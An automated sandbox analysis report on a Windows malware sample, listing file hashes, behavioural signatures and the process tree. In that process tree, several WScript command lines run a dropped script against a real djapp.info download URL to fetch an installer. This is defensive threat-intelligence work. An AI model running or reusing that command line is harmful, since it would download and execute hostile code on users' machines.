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Analysis
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max time kernel
157s -
max time network
179s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
04/12/2022, 14:05
Static task
static1
Behavioral task
behavioral1
Sample
af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe
Resource
win10v2004-20221111-en
General
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Target
af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe
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Size
184KB
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MD5
7a3ae85b5bc076b4c484e5223cdb43b7
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SHA1
239fd8f151dde893baa1597a8b1394af2998abb0
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SHA256
af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db
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SHA512
5ec702074c30e8220b14c14e13f10678e63e91b8532c177b5ea1fe75e7de08ae7bdd61a284d7d287180a95724c99d313fde07502dc08226291b83d01d3b17894
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3R:/7BSH8zUB+nGESaaRvoB7FJNndnI
Malware Config
Signatures
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Blocklisted process makes network request 8 IoCs
flow pid Process 49 4244 WScript.exe 96 4244 WScript.exe 100 2520 WScript.exe 107 2520 WScript.exe 118 4872 WScript.exe 121 4872 WScript.exe 126 2628 WScript.exe 127 2628 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000_Classes\Local Settings af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe -
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 126 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 100 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 118 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4284 wrote to memory of 4244 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 84 PID 4284 wrote to memory of 4244 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 84 PID 4284 wrote to memory of 4244 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 84 PID 4284 wrote to memory of 2520 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 89 PID 4284 wrote to memory of 2520 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 89 PID 4284 wrote to memory of 2520 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 89 PID 4284 wrote to memory of 4872 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 99 PID 4284 wrote to memory of 4872 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 99 PID 4284 wrote to memory of 4872 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 99 PID 4284 wrote to memory of 2628 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 103 PID 4284 wrote to memory of 2628 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 103 PID 4284 wrote to memory of 2628 4284 af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe"C:\Users\Admin\AppData\Local\Temp\af08cd44cb18bbc961705c1603d63582a4ff5895e8a5a05d0e31dfdb860734db.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe2⤵
- Blocklisted process makes network request
PID:4244
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe2⤵
- Blocklisted process makes network request
PID:2520
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe2⤵
- Blocklisted process makes network request
PID:4872
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf124F.js" http://www.djapp.info/?domain=JtEWYNIGxP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf124F.exe2⤵
- Blocklisted process makes network request
PID:2628
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76